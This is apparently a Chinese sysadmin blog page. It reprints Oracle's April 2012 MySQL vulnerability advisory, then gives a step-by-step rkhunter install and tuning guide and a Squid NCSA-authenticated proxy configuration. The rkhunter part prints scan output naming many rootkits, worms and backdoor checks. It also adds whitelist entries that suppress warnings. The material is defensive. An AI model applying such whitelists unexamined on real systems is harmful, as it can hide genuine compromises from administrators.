Skip to content


Oracle发布了本季安全补丁,包含了mysql在内的高危漏洞补丁

mysql 5.1.61 和mysql 5.5.21之前的版本都受影响,以下列出关于mysql的信息
http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html#AppendixMSQL

Oracle MySQL Executive Summary

 

This Critical Patch Update contains 6 new security fixes for Oracle MySQL.  None of these vulnerabilities may be remotely exploitable without authentication, i.e., none may be exploited over a network without the need for a username and password.  The English text form of this Risk Matrix can be found here.

Oracle MySQL Risk Matrix

 

 

CVE# Component Protocol Sub- component Remote Exploit without Auth.? CVSS VERSION 2.0 RISK (see Risk Matrix Definitions) Supported Versions Affected Notes
Base Score Access Vector Access Complexity Authen- tication Confiden- tiality Integrity Avail- ability
CVE-2012-1703 MySQL Server MySQL Protocol Server Optimizer No 6.8 Network Low Single None None Complete 5.1.61 and earlier, 5.5.21 and earlier
CVE-2012-0583 MySQL Server MySQL Protocol MyISAM No 4.0 Network Low Single None None Partial+ 5.1.60 and earlier, 5.5.19 and earlier
CVE-2012-1697 MySQL Server MySQL Protocol Partition No 4.0 Network Low Single None None Partial+ 5.5.21 and earlier
CVE-2012-1688 MySQL Server MySQL Protocol Server DML No 4.0 Network Low Single None None Partial+ 5.1.61 and earlier, 5.5.21 and earlier
CVE-2012-1696 MySQL Server MySQL Protocol Server Optimizer No 4.0 Network Low Single None None Partial+ 5.5.19 and earlier
CVE-2012-1690 MySQL Server MySQL Protocol Server Optimizer No 4.0 Network Low Single None None Partial+ 5.1.61 and earlier, 5.5.21 and earlier  

Text Form of Risk Matrix for Oracle MySQL

This table provides the text form of the Risk Matrix for Oracle MySQL.

CVE Identifier Description
CVE-2012-0583 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: MyISAM). Supported versions that are affected are 5.1.60 and earlier and 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1688 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server DML). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1690 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1696 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1697 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Partition). Supported versions that are affected are 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1703 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized Operating System hang or frequently repeatable crash (complete DOS).CVSS Base Score 6.8 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:C). (legend) [Advisory]

Posted in 安全通告.

Tagged with .


入侵检测工具rkhunter安装

rkhunter是Linux下的一款开源入侵检测工具。rkhunter具有比chrootkit更为全面的扫描范围。除rootkit特征码扫描外,rkhunter还支持端口扫描,常用开源软件版本和文件变动情况检查等。 rkhunter的官方网站位于http://www.rootkit.nl/,目前最新的版本是rkhunter-1.3.8。

centos5.8 Linux C1gstudio 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux

一.安装 安装到自定义目录/usr/local/rkhunter

wget http://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.3.8/rkhunter-1.3.8.tar.gz tar zxvf rkhunter-1.3.8.tar.gz cd rkhunter-1.3.8 mkdir -p /usr/local/rkhunter ./installer.sh –layout custom /usr/local/rkhunter –install Note: Directory /usr/local/rkhunter/bin is not in your PATH Checking system for: Rootkit Hunter installer files: found A web file download command: wget found Starting installation: Checking installation directory “/usr/local/rkhunter”: it exists and is writable. Checking installation directories: Directory /usr/local/rkhunter/share/doc/rkhunter-1.3.8: creating: OK Directory /usr/local/rkhunter/share/man/man8: creating: OK Directory /usr/local/rkhunter/etc: creating: OK Directory /usr/local/rkhunter/bin: creating: OK Directory /usr/local/rkhunter/lib64: creating: OK Directory /usr/local/rkhunter/var/lib: creating: OK Directory /usr/local/rkhunter/lib64/rkhunter/scripts: creating: OK Directory /usr/local/rkhunter/var/lib/rkhunter/db: creating: OK Directory /usr/local/rkhunter/var/lib/rkhunter/tmp: creating: OK Directory /usr/local/rkhunter/var/lib/rkhunter/db/i18n: creating: OK Installing check_modules.pl: OK Installing filehashsha.pl: OK Installing stat.pl: OK Installing readlink.sh: OK Installing backdoorports.dat: OK Installing mirrors.dat: OK Installing programs_bad.dat: OK Installing suspscan.dat: OK Installing rkhunter.8: OK Installing ACKNOWLEDGMENTS: OK Installing CHANGELOG: OK Installing FAQ: OK Installing LICENSE: OK Installing README: OK Installing language support files: OK Installing rkhunter: OK Installing rkhunter.conf: OK Installation complete

/usr/local/rkhunter/bin/rkhunter –help

Usage: rkhunter {–check | –unlock | –update | –versioncheck | –propupd [{filename | directory | package name},…] | –list [{tests | {lang | languages} | rootkits | perl}] | –config-check | –version | –help} [options] Current options are: –append-log Append to the logfile, do not overwrite –bindir … Use the specified command directories -c, –check Check the local system -C, –config-check Check the configuration file(s), then exit –cs2, –color-set2 Use the second color set for output –configfile Use the specified configuration file –cronjob Run as a cron job (implies -c, –sk and –nocolors options) –dbdir Use the specified database directory –debug Debug mode (Do not use unless asked to do so) –disable [,…] Disable specific tests (Default is to disable no tests) –display-logfile Display the logfile at the end –enable [,…] Enable specific tests (Default is to enable all tests) –hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 | NONE | } Use the specified file hash function (Default is SHA1, then MD5) -h, –help Display this help menu, then exit –lang, –language Specify the language to use (Default is English) –list [tests | languages | List the available test names, languages, checked rootkits | perl] for rootkits, or perl module status, then exit -l, –logfile [file] Write to a logfile (Default is /var/log/rkhunter.log) –noappend-log Do not append to the logfile, overwrite it –nocf Do not use the configuration file entries for disabled tests (only valid with –disable) –nocolors Use black and white output –nolog Do not write to a logfile –nomow, –no-mail-on-warning Do not send a message if warnings occur –ns, –nosummary Do not show the summary of check results –novl, –no-verbose-logging No verbose logging –pkgmgr {RPM | DPKG | BSD | Use the specified package manager to obtain or SOLARIS | NONE} verify file property values. (Default is NONE) –propupd [file | directory | Update the entire file properties database, package]… or just for the specified entries -q, –quiet Quiet mode (no output at all) –rwo, –report-warnings-only Show only warning messages -r, –rootdir Use the specified root directory –sk, –skip-keypress Don’t wait for a keypress after each test –summary Show the summary of system check results (This is the default) –syslog [facility.priority] Log the check start and finish times to syslog (Default level is authpriv.notice) –tmpdir Use the specified temporary directory –unlock Unlock (remove) the lock file –update Check for updates to database files –vl, –verbose-logging Use verbose logging (on by default) -V, –version Display the version number, then exit –versioncheck Check for latest version of program -x, –autox Automatically detect if X is in use -X, –no-autox Do not automatically detect if X is in use

更新db /usr/local/rkhunter/bin/rkhunter –update

[ Rootkit Hunter version 1.3.8 ] Checking rkhunter data files… Checking file mirrors.dat [ No update ] Checking file programs_bad.dat [ Updated ] Checking file backdoorports.dat [ No update ] Checking file suspscan.dat [ No update ] Checking file i18n/cn [ No update ] Checking file i18n/de [ No update ] Checking file i18n/en [ No update ] Checking file i18n/zh [ No update ] Checking file i18n/zh.utf8 [ No update ]

ll /usr/local/rkhunter/var/lib/rkhunter/db/

total 20 -rw-r—– 1 root root 1055 Apr 9 13:43 backdoorports.dat drwxr-x— 2 root root 4096 Apr 9 13:43 i18n -rw-r—– 1 root root 58 Apr 9 13:44 mirrors.dat -rw-r—– 1 root root 3203 Apr 9 13:44 programs_bad.dat -rw-r—– 1 root root 1904 Apr 9 13:43 suspscan.dat

在系统“干净”的时候产生对比文件 /usr/local/rkhunter/bin/rkhunter –propupd [ Rootkit Hunter version 1.3.8 ] File created: searched for 164 files, found 135

多了rkhunter.dat,rkhunter_prop_list.dat文件 ll /usr/local/rkhunter/var/lib/rkhunter/db/

total 68 -rw-r—– 1 root root 1055 Apr 9 13:43 backdoorports.dat drwxr-x— 2 root root 4096 Apr 9 13:43 i18n -rw-r—– 1 root root 58 Apr 9 13:44 mirrors.dat -rw-r—– 1 root root 3203 Apr 9 13:44 programs_bad.dat -rw-r—– 1 root root 12958 Apr 9 13:47 rkhunter.dat -rw-r—– 1 root root 31798 Apr 9 13:47 rkhunter_prop_list.dat -rw-r—– 1 root root 1904 Apr 9 13:43 suspscan.dat

二.开始检查,有问题会红色的Warning 提示 /usr/local/rkhunter/bin/rkhunter -c –sk

[ Rootkit Hunter version 1.3.8 ] Checking system commands… Performing ‘strings’ command checks Checking ‘strings’ command [ OK ] Performing ‘shared libraries’ checks Checking for preloading variables [ None found ] Checking for preloaded libraries [ None found ] Checking LD_LIBRARY_PATH variable [ OK ] Performing file properties checks Checking for prerequisites [ OK ] /sbin/chkconfig [ OK ] /sbin/depmod [ OK ] /sbin/fsck [ OK ] /sbin/fuser [ OK ] /sbin/ifconfig [ OK ] /sbin/ifdown [ Warning ] /sbin/ifup [ Warning ] /sbin/init [ OK ] /sbin/insmod [ OK ] /sbin/ip [ OK ] /sbin/kudzu [ OK ] /sbin/lsmod [ OK ] /sbin/modinfo [ OK ] /sbin/modprobe [ OK ] /sbin/nologin [ OK ] /sbin/rmmod [ OK ] /sbin/route [ OK ] /sbin/rsyslogd [ OK ] /sbin/runlevel [ OK ] /sbin/sulogin [ OK ] /sbin/sysctl [ OK ] /sbin/syslogd [ OK ] /bin/awk [ OK ] /bin/basename [ OK ] /bin/bash [ OK ] /bin/cat [ OK ] /bin/chmod [ OK ] /bin/chown [ OK ] /bin/cp [ OK ] /bin/csh [ OK ] /bin/cut [ OK ] /bin/date [ OK ] /bin/df [ OK ] /bin/dmesg [ OK ] /bin/echo [ OK ] /bin/ed [ OK ] /bin/egrep [ OK ] /bin/env [ OK ] /bin/fgrep [ OK ] /bin/grep [ OK ] /bin/kill [ OK ] /bin/logger [ OK ] /bin/login [ OK ] /bin/ls [ OK ] /bin/mail [ OK ] /bin/mktemp [ OK ] /bin/more [ OK ] /bin/mount [ OK ] /bin/mv [ OK ] /bin/netstat [ OK ] /bin/ps [ OK ] /bin/pwd [ OK ] /bin/rpm [ OK ] /bin/sed [ OK ] /bin/sh [ OK ] /bin/sort [ OK ] /bin/su [ OK ] /bin/touch [ OK ] /bin/uname [ OK ] /bin/gawk [ OK ] /bin/tcsh [ OK ] /usr/sbin/adduser [ OK ] /usr/sbin/chroot [ OK ] /usr/sbin/groupadd [ OK ] /usr/sbin/groupdel [ OK ] /usr/sbin/groupmod [ OK ] /usr/sbin/grpck [ OK ] /usr/sbin/kudzu [ OK ] /usr/sbin/lsof [ OK ] /usr/sbin/prelink [ OK ] /usr/sbin/pwck [ OK ] /usr/sbin/sestatus [ OK ] /usr/sbin/tcpd [ OK ] /usr/sbin/useradd [ OK ] /usr/sbin/userdel [ OK ] /usr/sbin/usermod [ OK ] /usr/sbin/vipw [ OK ] /usr/bin/awk [ OK ] /usr/bin/chattr [ OK ] /usr/bin/curl [ OK ] /usr/bin/cut [ OK ] /usr/bin/diff [ OK ] /usr/bin/dirname [ OK ] /usr/bin/du [ OK ] /usr/bin/env [ OK ] /usr/bin/file [ OK ] /usr/bin/find [ OK ] /usr/bin/groups [ Warning ] /usr/bin/head [ OK ] /usr/bin/id [ OK ] /usr/bin/kill [ OK ] /usr/bin/killall [ OK ] /usr/bin/last [ OK ] /usr/bin/lastlog [ OK ] /usr/bin/ldd [ Warning ] /usr/bin/less [ OK ] /usr/bin/locate [ OK ] /usr/bin/logger [ OK ] /usr/bin/lsattr [ OK ] /usr/bin/md5sum [ OK ] /usr/bin/newgrp [ OK ] /usr/bin/passwd [ OK ] /usr/bin/perl [ OK ] /usr/bin/pgrep [ OK ] /usr/bin/pstree [ OK ] /usr/bin/readlink [ OK ] /usr/bin/runcon [ OK ] /usr/bin/sha1sum [ OK ] /usr/bin/sha224sum [ OK ] /usr/bin/sha256sum [ OK ] /usr/bin/sha384sum [ OK ] /usr/bin/sha512sum [ OK ] /usr/bin/size [ OK ] /usr/bin/stat [ OK ] /usr/bin/strace [ OK ] /usr/bin/strings [ OK ] /usr/bin/sudo [ OK ] /usr/bin/tail [ OK ] /usr/bin/test [ OK ] /usr/bin/top [ OK ] /usr/bin/tr [ OK ] /usr/bin/uniq [ OK ] /usr/bin/users [ OK ] /usr/bin/vmstat [ OK ] /usr/bin/w [ OK ] /usr/bin/watch [ OK ] /usr/bin/wc [ OK ] /usr/bin/wget [ OK ] /usr/bin/whatis [ Warning ] /usr/bin/whereis [ OK ] /usr/bin/which [ OK ] /usr/bin/who [ OK ] /usr/bin/whoami [ OK ] /usr/bin/gawk [ OK ] /usr/local/rkhunter/etc/rkhunter.conf [ OK ] Checking for rootkits… Performing check of known rootkit files and directories 55808 Trojan – Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] cb Rootkit [ Not found ] CiNIK Worm (Slapper.B variant) [ Not found ] Danny-Boy’s Abuse Kit [ Not found ] Devil RootKit [ Not found ] Dica-Kit Rootkit [ Not found ] Dreams Rootkit [ Not found ] Duarawkz Rootkit [ Not found ] Enye LKM [ Not found ] Flea Linux Rootkit [ Not found ] FreeBSD Rootkit [ Not found ] Fu Rootkit [ Not found ] Fuck`it Rootkit [ Not found ] GasKit Rootkit [ Not found ] Heroin LKM [ Not found ] HjC Kit [ Not found ] ignoKit Rootkit [ Not found ] iLLogiC Rootkit [ Not found ] IntoXonia-NG Rootkit [ Not found ] Irix Rootkit [ Not found ] Kitko Rootkit [ Not found ] Knark Rootkit [ Not found ] ld-linuxv.so Rootkit [ Not found ] Li0n Worm [ Not found ] Lockit / LJK2 Rootkit [ Not found ] Mood-NT Rootkit [ Not found ] MRK Rootkit [ Not found ] Ni0 Rootkit [ Not found ] Ohhara Rootkit [ Not found ] Optic Kit (Tux) Worm [ Not found ] Oz Rootkit [ Not found ] Phalanx Rootkit [ Not found ] Phalanx2 Rootkit [ Not found ] Phalanx2 Rootkit (extended tests) [ Not found ] Portacelo Rootkit [ Not found ] R3dstorm Toolkit [ Not found ] RH-Sharpe’s Rootkit [ Not found ] RSHA’s Rootkit [ Not found ] Scalper Worm [ Not found ] Sebek LKM [ Not found ] Shutdown Rootkit [ Not found ] SHV4 Rootkit [ Not found ] SHV5 Rootkit [ Not found ] Sin Rootkit [ Not found ] Slapper Worm [ Not found ] Sneakin Rootkit [ Not found ] ‘Spanish’ Rootkit [ Not found ] Suckit Rootkit [ Not found ] SunOS Rootkit [ Not found ] SunOS / NSDAP Rootkit [ Not found ] Superkit Rootkit [ Not found ] TBD (Telnet BackDoor) [ Not found ] TeLeKiT Rootkit [ Not found ] T0rn Rootkit [ Not found ] trNkit Rootkit [ Not found ] Trojanit Kit [ Not found ] Tuxtendo Rootkit [ Not found ] URK Rootkit [ Not found ] Vampire Rootkit [ Not found ] VcKit Rootkit [ Not found ] Volc Rootkit [ Not found ] Xzibit Rootkit [ Not found ] X-Org SunOS Rootkit [ Not found ] zaRwT.KiT Rootkit [ Not found ] ZK Rootkit [ Not found ] Performing additional rootkit checks Suckit Rookit additional checks [ OK ] Checking for possible rootkit files and directories [ None found ] Checking for possible rootkit strings [ None found ] Performing malware checks Checking running processes for suspicious files [ None found ] Checking for login backdoors [ None found ] Checking for suspicious directories [ None found ] Checking for sniffer log files [ None found ] Performing Linux specific checks Checking loaded kernel modules [ OK ] Checking kernel module names [ OK ] Checking the network… Performing checks on the network ports Checking for backdoor ports [ None found ] Performing checks on the network interfaces Checking for promiscuous interfaces [ None found ] Checking the local host… Performing system boot checks Checking for local host name [ Found ] Checking for system startup files [ Found ] Checking system startup files for malware [ None found ] Performing group and account checks Checking for passwd file [ Found ] Checking for root equivalent (UID 0) accounts [ None found ] Checking for passwordless accounts [ None found ] Checking for passwd file changes [ None found ] Checking for group file changes [ None found ] Checking root account shell history files [ OK ] Performing system configuration file checks Checking for SSH configuration file [ Found ] Checking if SSH root access is allowed [ Not allowed ] Checking if SSH protocol v1 is allowed [ Not allowed ] Checking for running syslog daemon [ Found ] Checking for syslog configuration file [ Found ] Checking if syslog remote logging is allowed [ Not allowed ] Performing filesystem checks Checking /dev for suspicious file types [ None found ] Checking for hidden files and directories [ Warning ] Checking application versions… Checking version of GnuPG [ OK ] Checking version of OpenSSL [ Warning ] Checking version of Procmail MTA [ OK ] Checking version of OpenSSH [ Warning ] System checks summary ===================== File properties checks… Files checked: 135 Suspect files: 5 Rootkit checks… Rootkits checked : 253 Possible rootkits: 0 Applications checks… Applications checked: 4 Suspect applications: 2 The system checks took: 1 minute and 38 seconds All results have been written to the log file (/var/log/rkhunter.log) One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter.log)

相应产生的日志

cat /var/log/rkhunter.log |grep Warning

[13:52:20] /sbin/ifdown [ Warning ] [13:52:20] Warning: The command ‘/sbin/ifdown’ has been replaced by a script: /sbin/ifdown: Bourne-Again shell script text executable [13:52:20] /sbin/ifup [ Warning ] [13:52:20] Warning: The command ‘/sbin/ifup’ has been replaced by a script: /sbin/ifup: Bourne-Again shell script text executable [13:52:34] /usr/bin/groups [ Warning ] [13:52:34] Warning: The command ‘/usr/bin/groups’ has been replaced by a script: /usr/bin/groups: Bourne shell script text executable [13:52:35] /usr/bin/ldd [ Warning ] [13:52:35] Warning: The command ‘/usr/bin/ldd’ has been replaced by a script: /usr/bin/ldd: Bourne shell script text executable [13:52:39] /usr/bin/whatis [ Warning ] [13:52:39] Warning: The command ‘/usr/bin/whatis’ has been replaced by a script: /usr/bin/whatis: Bourne shell script text executable [13:53:44] Checking for hidden files and directories [ Warning ] [13:53:44] Warning: Hidden directory found: /dev/.udev [13:53:44] Warning: Hidden file found: /usr/share/man/man1/..1.gz: gzip compressed data, from Unix, max compression [13:53:44] Warning: Hidden file found: /usr/bin/.fipscheck.hmac: ASCII text [13:53:44] Warning: Hidden file found: /usr/bin/.ssh.hmac: ASCII text [13:53:44] Warning: Hidden file found: /usr/sbin/.sshd.hmac: ASCII text [13:53:45] Checking version of OpenSSL [ Warning ] [13:53:45] Warning: Application ‘openssl’, version ‘0.9.8e’, is out of date, and possibly a security risk. [13:53:45] Checking version of OpenSSH [ Warning ] [13:53:45] Warning: Application ‘sshd’, version ‘4.3p2’, is out of date, and possibly a security risk.

三.修正误报 可以看到上面信息基本为误报

还有更新了部分包可能会因起No hash value found错误; grep是安装nginx时更新了pcre amd是安装sasl认证

Warning: No hash value found for file ‘/bin/egrep’ in the rkhunter.dat file. Warning: No hash value found for file ‘/bin/fgrep’ in the rkhunter.dat file. Warning: No hash value found for file ‘/bin/grep’ in the rkhunter.dat file. Warning: No hash value found for file ‘/usr/sbin/amd’ in the rkhunter.dat file.

使用prelink可以查看

# prelink –verify –sha /bin/egrep prelink: /bin/egrep: at least one of file’s dependencies has changed since prelinking # prelink /bin/egrep prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line # prelink –verify –sha /usr/sbin/amd prelink: /usr/sbin/amd: at least one of file’s dependencies has changed since prelinking # prelink /usr/sbin/amd prelink: /usr/local/sasl2/lib/libsasl2.so.2.0.22 is not present in any config file directories, nor was specified on command line Aborted

cp /usr/local/rkhunter/etc/rkhunter.conf{,.bak} 网上部分脚本已失效,我对此作了些修改

sed -i ‘s/#SCRIPTWHITELIST=\/sbin\/ifup/SCRIPTWHITELIST=\/sbin\/ifup/’ /opt/rthunter/etc/rkhunter.conf sed -i ‘s/#SCRIPTWHITELIST=\/sbin\/ifdown/SCRIPTWHITELIST=\/sbin\/ifdown/’ /opt/rthunter/etc/rkhunter.conf sed -i ‘/#SCRIPTWHITELIST=”\/sbin\/ifup/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#SCRIPTWHITELIST=”\/usr\/bin\/groups”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENDIR=”\/etc\/.java”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENDIR=”\/dev\/.mdadm”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENDIR=”\/dev\/.udev/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/share\/man\/man1\/..1.gz”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/bin\/.fipscheck.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/bin\/.ssh.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/sbin\/.sshd.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf echo ‘IGNORE_PRELINK_DEP_ERR=”/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less” ‘ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘SCRIPTWHITELIST=/usr/bin/ldd’ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘SCRIPTWHITELIST=/usr/bin/whatis’ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘SCRIPTWHITELIST=/usr/bin/GET’ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘ALLOWHIDDENFILE=/usr/share/man/man5/.k5login.5.gz’ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘APP_WHITELIST=”openssl:0.9.8e sshd:4.3p2″‘ >> /usr/local/rkhunter/etc/rkhunter.conf echo ‘ALLOWDEVFILE=”/dev/shm/nginx.pid”‘ >> /usr/local/rkhunter/etc/rkhunter.conf #注意openssl和sshd的版本号

再次更新和检测 /usr/local/rkhunter/bin/rkhunter –propupd

[ Rootkit Hunter version 1.3.8 ] File updated: searched for 164 files, found 135

跳过按键只输出warning,不再有显示 /usr/local/rkhunter/bin/rkhunter -c –sk –rwo

四.自动报告 每天5点检测并发送通知邮件 vi /var/spool/cron/root

3 5 * * * (/usr/local/rkhunter/bin/rkhunter –cronjob -l –nomow –rwo | mail -s “[rkhunter] report `hostname` `date`” root@localhost)

参考:http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH#Introduction

===============2012-4-18更新 修正应更新而产生的误报,运行时检查文件存,如果文件不存在就不要加在里面

ALLOWDEVFILE=”/dev/shm/nginx.pid” IGNORE_PRELINK_DEP_ERR=”/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less”

hdparm 的Xzibit Rootkit

[15:29:12] Warning: Checking for possible rootkit strings [ Warning ] [15:29:12] Found string ‘hdparm’ in file ‘/etc/rc.d/rc.sysinit’. Possible rootkit: Xzibit Rootkit RTKT_FILE_WHITELIST=”/etc/rc.d/rc.sysinit:hdparm”

===============2012-4-28更新 修正The file properties have changed rkhunter在crontab中运行和手功运行有差异 就算你在配置文件中写了IGNORE_PRELINK_DEP_ERR,在日志中还是会有 [05:45:10] /usr/bin/less [ Warning ] [05:45:10] Warning: The file properties have changed:

prelink /usr/bin/less

prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line

#增加库链接 echo ‘-l /usr/local/lib’ >> /etc/prelink.conf #再次执行就没错了,把每个prelink出错的命令都运行下 prelink /usr/bin/less

#修改配置文件将IGNORE_PRELINK_DEP_ERR 提到USER_FILEPROP_FILES_DIRS下面 #再rkhunter –propupd更新 #使用conrtab调试不再报错

Posted in 安全.

Tagged with , .


Squid带验证(NCSA)的透明代理

NCSA验证辅助器相对流行,这归咎于它的简单性和历史原因。它将用户名和密码存储在一个单独的文本文件里,类似于Unix的/etc/passwd文件。这个密码文件格式最初是作为NCSA HTTP服务器项目的一部分发展而来的。在squid.conf里,只须指定密码文件的路径作为程序的单一命令行参数。squid已经发布到squid 3.x,这里仍然使用相对稳定的squid-2.6.STABLE23

一.安装squid wget http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE23.tar.gz tar zxvf squid-2.6.STABLE23.tar.gz cd squid-2.6.STABLE23

编译优化参考 http://en.gentoo-wiki.com/wiki/Safe_Cflags/Intel#Core_2_Duo.2FQuad.2C_Xeon_51xx.2F53xx.2F54xx.2F3360.2C_Pentium_Dual-Core_T23xx.2B.2FExxxx.2C_Celeron_Dual-Core

gcc –version gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50)

CHOST=”x86_64-pc-linux-gnu” CFLAGS=”-march=core2 -mtune=generic -O2 -pipe” CXXFLAGS=”${CFLAGS}” export CHOST=”x86_64-pc-linux-gnu” export CFLAGS=”-march=core2 -mtune=generic -O2 -pipe” export CXXFLAGS=”${CFLAGS}” ulimit -HSn 65536 ./configure –prefix=/opt/squid-2.6.STABLE23 –with-maxfd=65536 –with-pthreads –enable-dlmalloc –enable-poll –enable-useragent-log –enable-referer-log –with-large-files –enable-default-err-language=Simplify_Chinese –enable-err-languages=”Simplify_Chinese English” –disable-internal-dns –enable-auth=”basic” –enable-basic-auth-helpers=NCSA make make install

NCSA认证需加编译时加上–enable-auth=”basic” –enable-basic-auth-helpers=NCSA

二.配置squid.conf文件 配置软链接方便管理

cd /opt/ ln -s ./squid-2.6.STABLE23 ./squid

去除squid配置文件的注释

cat /opt/squid/etc/squid.conf cat /opt/squid/etc/squid.conf.default |grep -v ^# |grep -v ^$ > /opt/squid/etc/squid.conf

或者编辑个新的,对外3128端口 vi /opt/squid/etc/squid.conf

#squid信息 visible_hostname proxy #联系人 cache_mgr administrator http_port 3128 transparent # 单机 icp_port 0 # 分配给squid的内存 cache_mem 500 MB cache_swap_low 90 cache_swap_high 95 # 超过此值不被缓存 maximum_object_size 500 KB # 装入内存的文件大小上限 maximum_object_size_in_memory 200 KB # 缓存类型,缓存目录,大小,一二级目录 cache_dir ufs /opt/squid/spool 4000 16 256 # 支持header的vary cache_vary on # 进程文件 pid_filename /var/log/squid/squid.pid # 使用apache格式日志 emulate_httpd_log on # 日志;设none可禁用 logformat combined %>a %ui %un [%tl] “%rm %ru HTTP/%rv” %Hs %h” “%{User-Agent}>h” %Ss:%Sh cache_store_log none cache_log /var/log/squid/cache.log access_log /var/log/squid/access.log combined #access_log none auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd acl auth_user proxy_auth REQUIRED acl all src 0.0.0.0/0.0.0.0 acl manager proto cache_object acl localhost src 127.0.0.1/255.255.255.255 acl to_localhost dst 127.0.0.0/8 acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl CONNECT method CONNECT hierarchy_stoplist cgi-bin ? acl QUERY urlpath_regex cgi-bin \? cache deny QUERY #不要相信ETag 因为有gzip acl apache rep_header Server ^Apache broken_vary_encoding allow apache http_access allow manager localhost http_access deny manager http_access deny !Safe_ports http_access deny CONNECT !SSL_ports #只充许认证用户 http_access allow auth_user http_access deny all #icp_access allow all cachemgr_passwd disable config shutdown authenticator offline_toggle #cachemgr_passwd none info stats/objects #cachemgr_passwd secretPP all # ip限制 #acl OverConnLimit maxconn 16 #http_access deny OverConnLimit #squid使用的用户组和用户 cache_effective_user nobody cache_effective_group nobody tcp_recv_bufsize 65535 bytes # 隐藏squid的版本信息 header_access Via deny all #显示服务器的ip,隐藏真实客户ip header_access X-Forwarded-For deny all coredump_dir /opt/squid-2.6.STABLE23/var/cache # 出错提示 error_directory /opt/squid/share/errors/Simplify_Chinese

三.相关目录

